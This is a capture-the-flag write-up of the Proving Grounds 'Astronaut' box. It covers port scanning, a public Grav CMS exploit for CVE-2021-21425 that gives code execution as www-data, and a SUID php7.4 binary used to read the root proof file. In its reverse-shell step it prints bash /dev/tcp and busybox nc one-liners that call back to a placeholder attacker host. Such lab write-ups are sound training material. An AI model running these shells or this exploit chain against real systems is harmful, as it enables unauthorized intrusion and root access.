Astronaut Writeup - Proving Grounds
Last updated July 14, 2026 • 6 min read
This box was a short two-stage path. The web root exposed a Grav admin directory, Grav gave unauthenticated code execution as www-data, and a SUID php7.4 binary turned that foothold into root by reading /root/proof.txt.
Discovery
A full TCP sweep exposed SSH on 22 and Apache on 80. The HTTP service was the path forward because the web root listed a grav-admin/ directory directly.
[+] Discovering all open TCP ports... Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 18:00 +0100 Nmap scan report for $TARGET_IP Host is up (0.022s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds [+] Parsing open TCP ports... [+] Running scripts & versions on TCP ports: 22,80 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 18:00 +0100 Nmap scan report for $TARGET_IP Host is up (0.019s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA) | 256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA) |_ 256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519) 80/tcp open http Apache httpd 2.4.41 | http-ls: Volume / | SIZE TIME FILENAME | - 2021-03-17 17:46 grav-admin/ |_ |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Index of / Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.14 seconds
Browsing to http://$TARGET_IP/grav-admin/ confirmed Grav. The admin interface was also exposed at http://$TARGET_IP/grav-admin/admin, so the next move was checking Grav-specific public exploits instead of spending more time on generic web enumeration.
Grav Identification
searchsploit returned a small set of Grav issues. The result that mattered was the Grav RCE entry.
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Grav CMS 1.4.2 Admin Plugin - Cross-Site Scripting | php/webapps/42131.txt Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting | php/webapps/49264.txt Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated) | php/webapps/49961.py Grav CMS 1.7.48 - Remote Code Execution (RCE) | php/webapps/52402.txt GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2) | php/webapps/49973.py GravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit) | php/webapps/49788.rb -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
The notes for php/webapps/52402.txt pointed to CVE-2021-21425. For exploitation, the working PoC used here was the public Python file exploit.py from the bluetoothStrawberry/cve-2021-21425 repository. That gave an unauthenticated path straight into command execution, so the next move was running that PoC against /grav-admin.
Initial Access
Grav RCE
Pull the PoC and run it against the exposed Grav path.
Waiting 1 seconds for http://$TARGET_IP/grav-admin/tmp/60fbe3228b8d5a7b.php creation! Initiating hacking session $ whoami www-data $ pwd /var/www/html/grav-admin/tmp
The exploit landed as www-data inside Grav’s temp directory. That was enough for command execution, but working inside the exploit prompt was slower than using a reverse shell. The next move was to call back with busybox nc.
Reverse Shell
Start the listener.
[LINUX] /bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 [LINUX] busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash listening on [$ATTACKER_IP] $ATTACKER_PORT ...
From the Grav exploit shell, send the callback.
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 39032
That converted the web RCE into a stable shell as www-data. With no immediate user credentials in hand, the fastest next move was a SUID sweep.
Privilege Escalation
SUID Enumeration
A full SUID search returned mostly standard binaries. One entry stood out immediately: /usr/bin/php7.4 was SUID root.
-rwsr-xr-x 1 root root 85064 Nov 29 2022 /snap/core20/1852/usr/bin/chfn -rwsr-xr-x 1 root root 53040 Nov 29 2022 /snap/core20/1852/usr/bin/chsh -rwsr-xr-x 1 root root 88464 Nov 29 2022 /snap/core20/1852/usr/bin/gpasswd -rwsr-xr-x 1 root root 55528 Feb 7 2022 /snap/core20/1852/usr/bin/mount -rwsr-xr-x 1 root root 44784 Nov 29 2022 /snap/core20/1852/usr/bin/newgrp -rwsr-xr-x 1 root root 68208 Nov 29 2022 /snap/core20/1852/usr/bin/passwd -rwsr-xr-x 1 root root 67816 Feb 7 2022 /snap/core20/1852/usr/bin/su -rwsr-xr-x 1 root root 166056 Jan 16 2023 /snap/core20/1852/usr/bin/sudo -rwsr-xr-x 1 root root 39144 Feb 7 2022 /snap/core20/1852/usr/bin/umount -rwsr-xr-- 1 root systemd-resolve 51344 Oct 25 2022 /snap/core20/1852/usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 473576 Mar 30 2022 /snap/core20/1852/usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 85064 Mar 14 2022 /snap/core20/1611/usr/bin/chfn -rwsr-xr-x 1 root root 53040 Mar 14 2022 /snap/core20/1611/usr/bin/chsh -rwsr-xr-x 1 root root 88464 Mar 14 2022 /snap/core20/1611/usr/bin/gpasswd -rwsr-xr-x 1 root root 55528 Feb 7 2022 /snap/core20/1611/usr/bin/mount -rwsr-xr-x 1 root root 44784 Mar 14 2022 /snap/core20/1611/usr/bin/newgrp -rwsr-xr-x 1 root root 68208 Mar 14 2022 /snap/core20/1611/usr/bin/passwd -rwsr-xr-x 1 root root 67816 Feb 7 2022 /snap/core20/1611/usr/bin/su -rwsr-xr-x 1 root root 166056 Jan 19 2021 /snap/core20/1611/usr/bin/sudo -rwsr-xr-x 1 root root 39144 Feb 7 2022 /snap/core20/1611/usr/bin/umount -rwsr-xr-- 1 root systemd-resolve 51344 Apr 29 2022 /snap/core20/1611/usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 473576 Mar 30 2022 /snap/core20/1611/usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 123560 Feb 22 2023 /snap/snapd/18596/usr/lib/snapd/snap-confine -rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 146888 Dec 1 2022 /usr/lib/snapd/snap-confine -rwsr-xr-x 1 root root 473576 Mar 30 2022 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-xr-x 1 root root 53040 Nov 29 2022 /usr/bin/chsh -rwsr-xr-x 1 root root 67816 Feb 7 2022 /usr/bin/su -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount -rwsr-xr-x 1 root root 85064 Nov 29 2022 /usr/bin/chfn -rwsr-xr-x 1 root root 39144 Feb 7 2022 /usr/bin/umount -rwsr-xr-x 1 root root 166056 Jan 16 2023 /usr/bin/sudo -rwsr-xr-x 1 root root 68208 Nov 29 2022 /usr/bin/passwd -rwsr-xr-x 1 root root 44784 Nov 29 2022 /usr/bin/newgrp -rwsr-xr-x 1 root root 55528 Feb 7 2022 /usr/bin/mount -rwsr-xr-x 1 root root 4786104 Feb 23 2023 /usr/bin/php7.4 -rwsr-xr-x 1 root root 88464 Nov 29 2022 /usr/bin/gpasswd
Nothing else on that list beat a SUID PHP binary for speed. That turned privesc into a file-read problem instead of a user pivot or sudo path. The next move was reading the proof directly from /root.
Reading /root/proof.txt
[HIDDEN]
That completed the box. The exploit chain was short and direct: exposed Grav admin path, unauthenticated Grav RCE as www-data, then SUID php7.4 to read the root proof file.
Related
References
-
Grav CMS 1.7.48www.exploit-db.com/exploits/52402 (opens in new tab)
Remote Code Execution (RCE), Searchsploit entry used to identify the relevant Grav issue
-
CVE-2021-21425nvd.nist.gov/vuln/detail/CVE-2021-21425 (opens in new tab)
Grav unauthenticated arbitrary YAML write that leads to code execution
-
Public PoC repository containing the exploit.py file used for the foothold
-
php, Reference for abusing a SUID PHP binary to read files as root